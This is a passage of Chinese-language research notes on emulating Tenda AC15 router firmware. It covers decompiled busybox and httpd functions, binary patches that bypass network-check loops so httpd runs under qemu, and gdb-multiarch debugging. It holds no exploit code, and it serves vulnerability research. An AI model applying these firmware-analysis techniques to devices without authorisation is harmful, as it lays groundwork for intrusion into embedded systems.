int __fastcall sub_54298(int a1, const char *a2, const char *a3) { const char *v4; // 存储函数 sub_DD30 的返回结果 char *v5; // 存储指向 v4 的指针 int v6; // 函数的返回值 char *v7; // 存储格式化后的字符串 size_t v8; // 存储字符串 v7 的长度 char *v9; // 存储格式化后的字符串 FILE *v10; // 存储文件指针 int v11; // 用于计数 int v12; // 存储文件描述符 int v13; // 存储 open64 函数的返回值 size_t v14; // 存储字符串 v7 的长度减 1 _DWORD *v15; // 指向全局变量的指针 FILE *v16; // 存储文件指针 char *v17; // 用于保存文件路径 char *v18; // 用于保存临时文件路径 char *v19; // 存储从文件中读取的一行内容 const char *v20; // 存储查找子字符串的结果 int v21; // 存储文件错误状态 int v22; // 存储文件同步状态 int v24; // 用于保存函数返回状态 FILE *stream; // 存储文件流指针 size_t n; // 存储字符串 v9 的长度 char v28[16]; // 用于存储文件状态信息 int v29; // 用于保存文件权限 __uid_t owner; // 用于保存文件所有者 __gid_t group; // 用于保存文件组 __int16 v32[4]; // 用于文件锁定操作 int v33; // 用于文件锁定操作 int v34; // 用于文件锁定操作 int v35; // 用于文件锁定操作 int v36; // 用于文件锁定操作 v4 = (const char *)sub_DD30(a1); // 获取文件路径 v5 = (char *)v4; if (!v4) return -1; // 如果文件路径为空,返回 -1 v7 = (char *)sub_D964("%s+", v4); // 创建临时文件路径 v8 = strlen(v7); // 获取临时文件路径的长度 v9 = (char *)sub_D964("%s:", a2); // 创建查找的字符串 n = strlen(v9); // 获取查找字符串的长度 v10 = (FILE *)sub_D0BC(v5, "r+"); // 打开文件进行读写操作 stream = v10; if (v10) { v11 = 30; // 设置重试次数 v12 = fileno(v10); // 获取文件描述符 while (1) { v13 = open64(v7, 193, 384); // 打开临时文件 if (v13 >= 0) break; // 如果打开成功,跳出循环 if (*(_DWORD *)dword_6DED4 == 17) // 如果错误码为 17 { usleep((__useconds_t)&off_186A0); // 等待一段时间 if (--v11) // 减少重试次数 continue; // 继续尝试 } sub_CD54("can't create '%s'", v7); // 无法创建临时文件,记录错误 LABEL_30: v6 = -1; goto LABEL_31; } if (!fstat64(v12, v28)) // 获取文件状态 { fchmod(v13, v29 & 0x1FF); // 设置文件权限 fchown(v13, owner, group); // 设置文件所有者和组 } v14 = v8 - 1; v15 = (_DWORD *)dword_6DED4; *(_DWORD *)dword_6DED4 = 0; v16 = (FILE *)sub_D10C(v13); // 打开临时文件 v7[v14] = '-'; // 修改文件路径中的最后一个字符 if (unlink(v7) && *v15 != 2 || link(v5, v7)) // 创建备份文件 sub_CD54("warning: can't create backup copy '%s'", v7); v7[v14] = '+'; v32[0] = 1; v32[1] = 0; v33 = 0; v34 = 0; v35 = 0; v36 = 0; if (fcntl64(v12, 13, v32) < 0) // 锁定文件 sub_CD54("warning: can't lock '%s'", v5); v17 = v5; v6 = 0; v18 = v7; v32[0] = 2; while (1) { v19 = (char *)sub_4D3BC(stream); // 读取文件的一行 if (!v19) break; // 如果读取失败,跳出循环 if (!strncmp(v9, v19, n)) // 如果找到匹配的行 { if (*(_BYTE *)dword_6DECC == 112) { ++v6; v20 = (const char *)strchrnul(&v19[n], 58); // 查找子字符串 fprintf(v16, "%s%s%s\n", v9, a3, v20); // 写入新内容 } } else { fprintf(v16, "%s\n", v19); // 写入原内容 } free(v19); // 释放内存 } v7 = v18; v5 = v17; if (!v6 && *(_BYTE *)dword_6DECC == 97) // 如果没有找到匹配行并且模式为 'a' { v6 = 1; fprintf(v16, "%s%s\n", v9, a3); // 写入新行 } fcntl64(v12, 13, v32); // 解锁文件 *(_DWORD *)dword_6DED4 = 0; v21 = ferror(stream); // 检查文件错误 v24 = fflush(v16); // 刷新文件流 v22 = fsync(v13); // 同步文件 if (v24 | v21 | v22 | fclose(v16) || rename(v7, v5)) // 处理文件操作的错误 { sub_558E8(); // 调用错误处理函数 unlink(v7); // 删除临时文件 goto LABEL_30; } LABEL_31: fclose(stream); // 关闭文件流 } else { v6 = -1; } free(v7); // 释放内存 free(v5); // 释放内存 free(v9); // 释放内存 return v6; // 返回结果 }
3.总结
这里主要就是一个登陆界面的密码检查和修改相关程序
修改后的idb分析文件http://www.giraffexiu.love/wp-content/uploads/2024/05/busybox.zip
6.分析连接文件httpd
1.文件地址
还是一样的地址
1 | / home / iot / Desktop / iot - cve / _US_AC15V1. 0BR_V15 . 03.05 . 19_multi_TD01 . bin .extracted / squashfs - root / bin |
2.字符串检索交叉引用,程序的进程停止的地方
int __fastcall sub_2E420(int a1, int a2) { void *v2; // 用于 memset 初始化的临时变量 int v3; // 存储 puts 函数的返回值 unsigned int v4; // 存储 sleep 函数的返回值 int LanIfName; // 存储局域网接口名称 in_addr_t v7; // 存储 IP 地址 __pid_t v8; // 存储进程 ID int v9; // 存储 doSystemCmd 函数的返回值 int v10; // 临时变量,用于循环中 int v11; // 临时变量,用于子函数调用 int v12; // 临时变量,用于条件判断 int v13; // 临时变量,用于子函数调用 char v17[80]; // 临时缓冲区 int v18; // 临时变量,用于传递数据 int v19[3]; // 临时缓冲区 char v20[16]; // 临时缓冲区 char v21[24]; // 临时缓冲区 int dest[2]; // 临时缓冲区 char s[128]; // 临时缓冲区 __pid_t v24; // 存储进程 ID int v25; // 计数器变量 // 初始化缓冲区和变量 v2 = memset(s, 0, sizeof(s)); dest[0] = 0; dest[1] = 0; memset(v21, 0, sizeof(v21)); memset(v20, 0, sizeof(v20)); v18 = 0; init_core_dump(v2); // 初始化核心转储 v3 = puts("\n\nYes:\n\n ****** WeLoveLinux****** \n\n Welcome to ..."); sub_30A5C(v3); // 显示欢迎信息 // 检查网络连接 while ( check_network(v21) <= 0 ) sleep(1u); v4 = sleep(1u); // 如果连接确认成功 if ( ConnectCfm(v4) ) { sub_103D0(0, 61440, 1); // 调用子函数初始化 memset(s, 0, sizeof(s)); if ( !GetValue("lan.webiplansslen", s) ) strcpy(s, "0"); sslenable = atoi(s); if ( !GetValue("lan.webport", s) ) strcpy(s, "80"); if ( !GetValue("lan.webipen", dest) ) strcpy((char *)dest, "0"); if ( !strcmp((const char *)dest, "1") ) { sslport = atoi(s); port = atoi(s); } LanIfName = getLanIfName(); // 获取局域网接口名称 if ( getIfIp(LanIfName, v20) < 0 ) { GetValue("lan.ip", s); strcpy(g_lan_ip, s); memset(v17, 0, sizeof(v17)); if ( !tpi_lan_dhcpc_get_ipinfo_and_status(v17) && v17[0] ) vos_strcpy(g_lan_ip, v17); } else { vos_strcpy(g_lan_ip, v20); } memset(v19, 0, 9u); v7 = inet_addr(g_lan_ip); // 获取局域网 IP 地址 v19[0] = LOBYTE(v19[0]) | (v7 << 8); LOBYTE(v19[1]) = HIBYTE(v7); tpi_talk_to_kernel(5, v19, &v18, 0, 0, 0, a2, a1); // 与内核通信 sub_2ED58(1); // 调用子函数 sub_2ED58(0); // 调用子函数 v8 = getpid(); // 获取当前进程 ID v9 = doSystemCmd("echo %d > %s", v8, "/etc/httpd.pid"); // 执行系统命令 if ( sub_2E9EC(v9) >= 0 ) { memset(&loginUserInfo, 0, 0x6Cu); // 初始化登录用户信息 signal(15, (__sighandler_t)sub_2E1B8); // 注册信号处理函数 signal(9, (__sighandler_t)sub_2E1B8); // 注册信号处理函数 signal(14, (__sighandler_t)sub_2E240); // 注册信号处理函数 alarm(0x3Cu); // 设置定时器 v25 = 0; mallopt(-1, 0); // 内存优化 mallopt(-3, 2048); // 内存优化 v24 = getpid(); // 获取当前进程 ID // 主循环 while ( !dword_101AA0 ) { v10 = sub_1C2EC(-1, 1000); // 调用子函数 if ( v10 > 0 ) v10 = sub_1C7E8(-1); // 调用子函数 v11 = sub_11868(v10); // 调用子函数 sub_2E060(v11); // 调用子函数 if ( !(++v25 % 100) ) malloc_trim(0); // 内存优化 } if ( sslenable ) { v12 = sub_1F294(); // 调用子函数 } else { v13 = sub_29704(); // 调用子函数 v12 = sub_1B774(v13); // 调用子函数 } sub_10550(v12); // 调用子函数 return 0; } else { puts("main -> initWebs failed"); return -1; } } else { printf("connect cfm failed!"); return 0; } }
==这里实现了网络连接检查、初始化网络设置、与内核通信、信号处理和主循环的执行==
1.网络连接检查
while ( check_network(v21) <= 0 ) sleep(1u); v4 = sleep(1u); if ( ConnectCfm(v4) ) { // 连接确认成功后的逻辑 } else { printf("connect cfm failed!"); return 0; }
2.初始化网络设置
sub_103D0(0, 61440, 1); // 调用子函数初始化 memset(s, 0, sizeof(s)); if ( !GetValue("lan.webiplansslen", s) ) strcpy(s, "0"); sslenable = atoi(s); if ( !GetValue("lan.webport", s) ) strcpy(s, "80"); if ( !GetValue("lan.webipen", dest) ) strcpy((char *)dest, "0"); if ( !strcmp((const char *)dest, "1") ) { sslport = atoi(s); port = atoi(s); } LanIfName = getLanIfName(); // 获取局域网接口名称 if ( getIfIp(LanIfName, v20) < 0 ) { GetValue("lan.ip", s); strcpy(g_lan_ip, s); memset(v17, 0, sizeof(v17)); if ( !tpi_lan_dhcpc_get_ipinfo_and_status(v17) && v17[0] ) vos_strcpy(g_lan_ip, v17); } else { vos_strcpy(g_lan_ip, v20); }
3.内核通信
memset(v19, 0, 9u); v7 = inet_addr(g_lan_ip); // 获取局域网 IP 地址 v19[0] = LOBYTE(v19[0]) | (v7 << 8); LOBYTE(v19[1]) = HIBYTE(v7); tpi_talk_to_kernel(5, v19, &v18, 0, 0, 0, a2, a1); // 与内核通信
4.信号处理
signal(15, (__sighandler_t)sub_2E1B8); // 注册信号处理函数 signal(9, (__sighandler_t)sub_2E1B8); // 注册信号处理函数 signal(14, (__sighandler_t)sub_2E240); // 注册信号处理函数 alarm(0x3Cu); // 设置定时器
5.主循环的执行
while ( !dword_101AA0 ) { v10 = sub_1C2EC(-1, 1000); // 调用子函数 if ( v10 > 0 ) v10 = sub_1C7E8(-1); // 调用子函数 v11 = sub_11868(v10); // 调用子函数 sub_2E060(v11); // 调用子函数 if ( !(++v25 % 100) ) malloc_trim(0); // 内存优化 } if ( sslenable ) { v12 = sub_1F294(); // 调用子函数 } else { v13 = sub_29704(); // 调用子函数 v12 = sub_1B774(v13); // 调用子函数 } sub_10550(v12); // 调用子函数
3.解析无法继续进行流程的的地方
==这个地方调用了check_network函数,如果检查不过就会跳转到蓝线指向的流程进行,然后再次无条件跳转回去到loc_2E504再次指令流程==
进入一个死循环导致无法进行后续的流程
4.绕过死循环
1.思路简析
这里的绕过很简单,我们这里因为如果检查不通过就会给R0返回0 ,然后将R0赋给R3,然后比较如果R3等于0,就会进入死循环
这里我们尝试使用patch bytes
将R3直接设置为1,永真就不会进入循环了
2.patch bytes的指令修改
要将这里的数据改成MOV R3, #1
2.目标指令的修改生成
安装对应的库
1 | pip install keystone - engine |
注意这里的虚拟环境运行
1 | "E:\\making products\\py\\miam\\.venv\\Scripts\\activate" |
生成的代码
1 2 3 4 5 | from keystone import * ks = Ks(KS_ARCH_ARM, KS_MODE_ARM) encoding, _ = ks.asm( 'MOV R3, #1' ) print (encoding) |
前面的貌似不太行,使用keypatch插件
或者指令转换
1 2 3 | sudo apt install radare2 rasm2 - a arm "mov r3,1" rasm2 - a arm "mov r3,r0" |
5.绕过网络检查的end函数
可以看到这里调用了Cfm函数检查网络的连接状况,跟前面逻辑类似,如果返回的R0为0则跳转到红线的函数
1.判定的逻辑
2.判定失败跳转到逻辑
这里跳转后你会直接无条件跳转到函数结束的地方
3.处理方法
和上面一样将mov的R0换成#1,变成永真后保存就可以了
4.保存文件
5.替换文件
将原本文件夹内的文件替换为修改后的文件
6.再次运行程序查看后续的流程
iot@research:~/Desktop/iot-cve/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root$ sudo chroot ./ ./qemu-arm-static ./bin/httpd init_core_dump 1816: rlim_cur = 0, rlim_max = -1 init_core_dump 1825: open core dump success init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880 Yes: ****** WeLoveLinux****** Welcome to ... connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. create socket fail -1 connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. connect: No such file or directory Connect to server failed. [httpd][debug]----------------------------webs.c,157 Unsupported setsockopt level=1 optname=13 httpd listen ip = 255.255.255.255 port = 80 webs: Listening for HTTP requests at address 4.246.254.255
==ip地址一看不对没法访问,分析调用逻辑==
7.交叉引用ip,找程序关键
==字符串定位找到关键调用函数==
==创建并配置一个网络套接字,以在指定的 IP 地址和端口上监听连接请求==
int __fastcall sub_1B84C(const char *a1, int a2, int a3, char a4) { // a1: IP地址字符串的指针 // a2: 通常作为端口号 // a3: 目前未在该函数中使用 // a4: 一个字节,用于配置一些额外的选项 // 检查端口号是否在有效范围内(0 - 65535),如果超过则返回-1,结束函数 if ( a2 > 0xFFFF ) return -1; // 调用另一个函数(可能进行初始化操作),失败则返回-1,结束函数 v21 = sub_1B1A0(a1, a2, a3, a4); if ( v21 < 0 ) return -1; // 准备用于bind()函数的数据结构sockaddr v20 = *(_DWORD **)(socketList + 4 * v21); memset(&s, 0, sizeof(s)); s.sa_family = 2; *(_WORD *)s.sa_data = htons(v12); if ( a1 ) *(_DWORD *)&s.sa_data[2] = inet_addr(a1); else *(_DWORD *)&s.sa_data[2] = 0; // 创建套接字。如果创建失败,则释放资源并返回-1 v6 = socket(2, v5, 0); v20[44] = v6; if ( (int)v20[44] < 0 ) { sub_1B2F0(v21); return -1; } // 设置新创建的套接字为非阻塞模式 fcntl(v20[44], 2, 1); // 更新socketHighestFd值 v7 = v20[44]; if ( v7 < socketHighestFd ) v7 = socketHighestFd; socketHighestFd = v7; // 设置socket选项,包括是否重用地址、接收缓存、发送缓存等 ... // 将套接字绑定到指定的IP地址和端口。如果绑定失败,释放资源并返回-1 if ( bind(v20[44], &s, 0x10u) < 0 ) { sub_1B2F0(v21); return -1; } // 打印服务器监听的IP地址和端口号 v8 = inet_ntoa(*(struct in_addr *)&s.sa_data[2]); v9 = ntohs(*(uint16_t *)s.sa_data); printf("httpd listen ip = %s port = %d\n", v8, v9); // 开始在指定的套接字上进行监听,最大挂起连接数设置为128 if ( !v18 ) { if ( listen(v20[44], 128) < 0 ) { sub_1B2F0(v21); return -1; } v20[43] |= 0x100u; } // 根据a4的最高位是否设置,调用sub_1CAE8()函数 if ( (a4 & 0x80) != 0 ) sub_1CAE8(v21, 1); else sub_1CAE8(v21, 0); // 返回v21(可能是socket描述符) return v21; }
8.调试sub_1B84C函数的调用链
第一次用gdb调试异架构程序顺便详细记录一下
1.启动调试操作
1.启动qemu模拟环境,并且打开gdb调试端口
1 | sudo chroot . . / qemu - arm - static - g 8888 . / bin / httpd |
2.另开终端启动gdb-mul(支持不同架构的调试模式)
1 | gdb - multiarch |
3.设置gdb遵循ARM架构调试框架
1 | set architecture arm |
4.设置ip调用的函数断点
1 | b * 0x001B84C |
5.连接前面qemu环境打开的端口进行远程调试
1 | target remote : 8888 |
6.示例
1 2 | iot@research:~ / Desktop / iot - cve / _US_AC15V1. 0BR_V15 . 03.05 . 19_multi_TD01 . bin .extracted / squashfs - root$ sudo chroot . . / qemu - arm - static - g 8888 . / bin / httpd [sudo] password for iot: |
iot@research:~/Desktop/iot-cve/_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/squashfs-root$ gdb-multiarch GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word". pwndbg: loaded 191 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) pwndbg> set architecture arm The target architecture is assumed to be arm pwndbg> b *0x001B84C Breakpoint 1 at 0x1b84c pwndbg> target remote :8888 Remote debugging using :8888 warning: No executable has been specified and target does not support determining executable automatically. Try using the "file" command. 0xff7e1930 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ──────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────── R0 0x0 R1 0xfffef79e ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */ R2 0x0 R3 0x0 R4 0x0 R5 0x0 R6 0x0 R7 0x0 R8 0x0 R9 0x0 R10 0xff000 —▸ 0xfa00 ◂— push {r3, lr} /* 0xe92d4008 */ R11 0x0 R12 0x0 SP 0xfffef680 ◂— 1 PC 0xff7e1930 ◂— mov r0, sp /* 0xe1a0000d; '\r' */ ───────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────── ► 0xff7e1930 mov r0, sp 0xff7e1934 bl #0xff7e4bb4 <0xff7e4bb4> 0xff7e1938 mov r6, r0 0xff7e193c ldr sl, [pc, #0x30] 0xff7e1940 add sl, pc, sl 0xff7e1944 ldr r4, [pc, #0x2c] 0xff7e1948 ldr r4, [sl, r4] 0xff7e194c ldr r1, [sp] 0xff7e1950 sub r1, r1, r4 0xff7e1954 add sp, sp, r4, lsl #2 0xff7e1958 add r2, sp, #4 ────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────── 00:0000│ sp 0xfffef680 ◂— 1 01:0004│ 0xfffef684 —▸ 0xfffef79e ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */ 02:0008│ 0xfffef688 ◂— 0 03:000c│ 0xfffef68c —▸ 0xfffef7aa ◂— svcmi #0x445553 /* 0x4f445553; 'SUDO_GID=1000' */ 04:0010│ 0xfffef690 —▸ 0xfffef7b8 ◂— svcmi #0x445553 /* 0x4f445553; 'SUDO_UID=1000' */ 05:0014│ 0xfffef694 —▸ 0xfffef7c6 ◂— svcmi #0x445553 /* 0x4f445553; 'SUDO_USER=iot' */ 06:0018│ 0xfffef698 —▸ 0xfffef7d4 ◂— svcmi #0x445553 /* 0x4f445553; 'SUDO_COMMAND=/usr/sbin/chroot . ./qemu-arm-static -g 8888 ./bin/httpd' */ 07:001c│ 0xfffef69c —▸ 0xfffef81a ◂— mcrrmi p8, #5, r4, r5, c3 /* 0x4c454853; 'SHELL=/bin/bash' */ ──────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────── ► f 0 0xff7e1930 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg>
2.ida辅助分析
1.ip生成的回调函数
交叉引用这里的inet_ntoa回调函数进行了对于ip的处理
<img src="https://g1rffe.oss-cn-chengdu.aliyuncs.com/typora/image-20240529143738445.png" alt="image-20240529143738445" style="zoom:150%;" />
2.向上回溯,找到调用sub_29818函数的调用
1.调用一sub_1EA08
int sub_1EA08() { int v0; // 定义一个整型变量 `v0` int v3; // 定义一个整型变量 `v3` // 将全局变量 `sslport` 的值赋给局部变量 `v3` v3 = sslport; // 调用 `sub_C9054` 函数,如果返回值小于0,表示初始化失败 if (sub_C9054() < 0) { // 打印错误信息 "matrixSslOpen failed, exiting..." fwrite("matrixSslOpen failed, exiting...", 1u, 0x20u, stderr); } // 调用 `sub_C90C8` 函数,读取证书和私钥,如果返回值大于等于0,表示读取成功 if (sub_C90C8(&dword_101A24, aWebrootPemCert, aWebrootPemPriv, 0, 0) >= 0) { // 如果 `v3` 不为0,尝试在 `v3` 指定的端口上打开SSL套接字 if (v3) dword_FFE40 = sub_1B84C(0, v3, (int)websSSLAccept, 128); // 否则尝试在默认的443端口上打开SSL套接字 else dword_FFE40 = sub_1B84C(0, 443, (int)websSSLAccept, 128); // 如果套接字成功打开(返回值大于等于0) if (dword_FFE40 >= 0) { // 返回0表示成功 return 0; } else { // 打印错误信息,表示无法在指定端口上打开SSL套接字 fprintf(stderr, "SSL: Unable to open SSL socket on port <%d>!\n", v3); // 返回-1表示失败 return -1; } } else { // 打印错误信息,表示读取证书失败 fwrite("failed to read certificates in websSSLOpen\n", 1u, 0x2Bu, stderr); // 调用 `sub_C90D0` 和 `sub_C9098` 释放资源 v0 = sub_C90D0(dword_101A24); sub_C9098(v0); // 返回-1表示失败 return -1; } }
1.函数概述
打开一个SSL套接字,用于处理HTTPS请求
2.大致流程
- 初始化SSL:
- 将全局变量
sslport
的值赋给局部变量v3
- 调用
sub_C9054
函数,如果返回值小于0,表示初始化失败,并打印错误信息 "matrixSslOpen failed, exiting..."
- 将全局变量
- 读取证书和私钥:
- 调用
sub_C90C8
函数,尝试读取证书和私钥文件。如果返回值大于等于0,表示读取成功
- 调用
- 创建SSL套接字:
- 如果
v3
不为0,尝试在v3
指定的端口上创建SSL套接字;否则,在默认的443端口上创建SSL套接字 - 如果套接字成功创建,返回0表示成功;否则,打印错误信息并返回-1表示失败
- 如果
- 处理读取证书失败:
- 如果读取证书失败,打印错误信息 "failed to read certificates in websSSLOpen"
- 调用
sub_C90D0
和sub_C9098
释放资源 - 返回-1表示失败
3.总结
这个函数主要是处理SSL的socket,处理http请求,跟ip的生成没有太大的关系
==调用sub_1B84C作用是指定端口上创建一个 SSL 套接字==
成功,则返回一个非负的套接字标识符
失败,则返回 -1 并打印错误信息
2.调用二sub_29818
int __fastcall sub_29818(int a1, int a2) { char s[16]; // 定义一个字符数组 `s` 大小为16字节,用于存储临时数据 int v7; // 定义一个整型变量 `v7` const char *v8; // 定义一个指向字符常量的指针 `v8` int i; // 定义一个整型变量 `i` // 将字符数组 `s` 初始化为零 memset(s, 0, sizeof(s)); // 将全局变量 `g_lan_ip` 的值赋给局部变量 `v8` v8 = g_lan_ip; // 将参数 `a1` 的值赋给局部变量 `v7` v7 = a1; // 循环尝试打开套接字,最多尝试 `a2` 次 for (i = 0; i <= a2; ++i) { // 调用 `sub_1B84C` 函数尝试打开一个套接字,并将返回值赋给 `dword_101A7C` dword_101A7C = sub_1B84C(v8, a1, (int)websAccept, 0); // 如果套接字成功打开(返回值大于等于0),则跳出循环 if (dword_101A7C >= 0) break; } // 如果成功打开套接字 if (i <= a2) { // 将 `a1` 的值赋给全局变量 `websPort` websPort = a1; // 调用 `sub_10988` 函数,释放 `websHostUrl` 和 `websIpaddrUrl` sub_10988(websHostUrl); sub_10988(websIpaddrUrl); // 将 `websHostUrl` 和 `websIpaddrUrl` 置为0 websHostUrl = 0; websIpaddrUrl = 0; // 如果端口是80(HTTP默认端口) if (a1 == 80) { // 调用 `sub_109B4` 函数设置 `websHostUrl` 和 `websIpaddrUrl` websHostUrl = sub_109B4(websHost); websIpaddrUrl = sub_109B4(websIpaddr); } else { // 调用 `sub_1837C` 函数设置带端口号的 `websHostUrl` 和 `websIpaddrUrl` sub_1837C(&websHostUrl, 4176, "%s:%d", websHost, a1); sub_1837C(&websIpaddrUrl, 4176, "%s:%d", websIpaddr, a1); } // 调用 `sub_204F8` 函数打印监听地址信息 sub_204F8(0, "webs: Listening for HTTP requests at address %s\n", (const char *)websIpaddrUrl); // 返回监听的端口号 return a1; } else { // 打印错误信息,表示无法在指定端口打开套接字 printf("%s %d: Couldn't open a socket on ports %d\n", "websOpenListen", 253, v7); // 返回-1表示失败 return -1; } }
1.函数概述
==一个网络套接字(Socket)的函数==
解释一下这个地方的意思:
端口号:端口号是一个 16 位的数字,用来标识网络上的特定服务。比如,HTTP 通常使用端口 80,HTTPS 使用端口 443。
套接字:套接字是一个网络编程接口,用于在不同设备之间进行数据传输。它可以看作是通信的终点,包括一个 IP 地址和一个端口号。
创建套接字:在指定端口
a1
上创建一个套接字意味着在这个端口上为应用程序配置一个通道,通过这个通道可以接收和发送数据。这个过程通常包括以下步骤:- 创建套接字对象。
- 绑定套接字到指定的 IP 地址和端口。
- 将套接字设置为监听模式,等待客户端连接
==sub_29818
尝试在指定端口 a1
上创建并配置一个套接字,如果成功,服务器就可以通过这个套接字接收客户端的 HTTP 请求==
2.大致流程:
初始化:清空一个临时字符数组
s
,并将全局局域网 IP 地址赋给局部变量v8
尝试打开套接字:在一个循环中调用
sub_1B84C
函数,尝试在指定的 IP 地址和端口a1
上创建一个套接字。如果成功(返回值大于等于0),跳出循环成功处理:
- 设置全局变量
websPort
为端口a1
- 调用
sub_10988
释放先前的 URL 资源 - 根据端口号是否为 80,设置
websHostUrl
和websIpaddrUrl
- 打印监听地址的信息
- 返回监听的端口号
a1
- 设置全局变量
失败处理:
- 打印错误信息,表示无法在指定端口打开套接字
- 返回 -1 表示失败
3.总结
这个函数调用sub_1B84C函数作用:
==创建一个网络套接字,并在指定的 IP 地址 v8
和端口 a1
上监听 HTTP 请求==
3.从生成ip的socket的sub_29818函数回溯得到函数的调用链
1.v8的ip再这里的g_lan_ip全局变量被赋值
2.交叉引用这里的g_lan_ip全局变量
发现主要是四个地方在调用
Direction Type Address Text Up o LOAD:0000A644 Elf32_Sym <aGLanIp - byte_B654, g_lan_ip, 0x10, 0x11, 0, 0x17>; "g_lan_ip" Up o sub_29818+70 LDR R3, [R4,R3]; g_lan_ip Down o sub_2E420+2C0 LDR R2, [R4,R2]; g_lan_ip Down o sub_2E420+2F0 LDR R3, [R4,R3]; g_lan_ip Down o sub_2E420+34C LDR R2, [R4,R2]; g_lan_ip Down o sub_2E420+374 LDR R3, [R4,R3]; g_lan_ip Down o sub_2E9EC+50 LDR R2, [R4,R2]; g_lan_ip Down o .got:g_lan_ip_ptr DCD g_lan_ip
1.存储字符串的地址
LOAD:0000A644 96 18 00 00 40 13 11 00 10 00+DCD aGLanIp - byte_B654 ; st_name ; "g_lan_ip" LOAD:0000A644 00 00 11 00 17 00 DCD g_lan_ip ; st_value LOAD:0000A644 DCD 0x10 ; st_size LOAD:0000A644 DCB 0x11 ; st_info LOAD:0000A644 DCB 0 ; st_other LOAD:0000A644 DCW 0x17 ; st_shndx
2.函数本身
1 | Up o sub_29818 + 70 LDR R3, [R4,R3]; g_lan_ip |
3.主函数
if ( getIfIp(LanIfName, v20) < 0 ) { GetValue("lan.ip", s); strcpy(g_lan_ip, s); memset(v17, 0, sizeof(v17)); if ( !tpi_lan_dhcpc_get_ipinfo_and_status(v17) && v17[0] ) vos_strcpy(g_lan_ip, v17); } else { vos_strcpy(g_lan_ip, v20); }
- 1
if
(getIfIp(LanIfName, v20) < 0)
getIfIp
函数被调用,尝试获取指定接口名称LanIfName
的 IP 地址- 如果
getIfIp
返回的结果小于 0,表示获取失败,可能是由于指定的接口名称不存在或其他原因
- 1234567
{
GetValue(
"lan.ip"
, s);
strcpy
(g_lan_ip, s);
memset
(v17, 0,
sizeof
(v17));
if
(!tpi_lan_dhcpc_get_ipinfo_and_status(v17) && v17[0])
vos_strcpy(g_lan_ip, v17);
}
- 在
getIfIp
返回值小于 0 的情况下,表示无法从接口获取 IP 地址,所以尝试从配置中获取 IP 地址 GetValue("lan.ip", s)
从配置中获取键为 "lan.ip" 的值,即设备在局域网中的 IP 地址,并将其存储在字符串变量s
中strcpy(g_lan_ip, s)
将从配置中获取到的 IP 地址复制到全局变量g_lan_ip
中memset(v17, 0, sizeof(v17))
用于清空v17
数组tpi_lan_dhcpc_get_ipinfo_and_status(v17)
调用一个函数,尝试从 DHCP 客户端获取 IP 信息和状态,并将结果存储在v17
中v17[0]
用于检查获取到的 IP 信息是否有效,如果有效且非空,则执行下一步vos_strcpy(g_lan_ip, v17)
将从 DHCP 获取到的 IP 地址复制到全局变量g_lan_ip
中
- 在
- 1234
else
{
vos_strcpy(g_lan_ip, v20);
}
- 如果
getIfIp
返回值不小于 0,则表示成功从接口获取到了 IP 地址。 vos_strcpy(g_lan_ip, v20)
将从接口获取到的 IP 地址复制到全局变量g_lan_ip
中。
- 如果
==确保设备在局域网中的 IP 地址能够被正确地获取并存储在全局变量中,以便后续的网络操作和通信==
4.函数sub_2E9EC调用
int sub_2E9EC() { int v0; // r0 size_t v1; // r3 size_t v2; // r3 int v4; // r0 char s[128]; // 用于存储字符串的缓冲区 char dest[128]; // 用于存储字符串的缓冲区 char v8[128]; // 用于存储字符串的缓冲区 struct in_addr inp; // 存储 IP 地址的结构体 char *v10; // 字符串指针 // 初始化变量 v10 = 0; memset(s, 0, sizeof(s)); // 执行系统命令,关闭 TCP 时间戳 v0 = doSystemCmd("echo 0 > /proc/sys/net/ipv4/tcp_timestamps"); sub_1B6D4(v0); // 将局域网 IP 地址转换为 in_addr 结构体 inet_aton(g_lan_ip, &inp); // 复制字符串到缓冲区 dest,可能是某种配置信息 strcpy(dest, off_100048); sub_12530(dest); // 将 IP 地址转换为字符串 v10 = inet_ntoa(inp); // 计算字符串长度,并根据长度设置 v1 if (strlen(v10) + 1 > 0x7F) v1 = 128; else v1 = strlen(v10) + 1; // 将字符串复制到缓冲区 s 中 sub_1964C(s, v10, v1); sub_2D218(s); // 可能是对字符串 s 进行处理 // 计算字符串长度,并根据长度设置 v2 if (strlen(v8) + 1 > 0x7F) v2 = 128; else v2 = strlen(v8) + 1; // 将字符串复制到缓冲区 s 中 sub_1964C(s, v8, v2); sub_2D17C(s); // 可能是对字符串 s 进行处理 // 加载 HTML 页面和其他资源 sub_124C8("main.html"); sub_1F560(off_10004C); // 尝试打开服务器,并注册处理函数 if (sub_29510(port, retries) >= 0) { sub_179A8(&unk_DC618, 0, 0, R7WebsSecurityHandler, 1); sub_179A8("/goform", 0, 0, websFormHandler, 0); sub_179A8("/cgi-bin", 0, 0, webs_Tenda_CGI_BIN_Handler, 0); v4 = sub_179A8(&unk_DC618, 0, 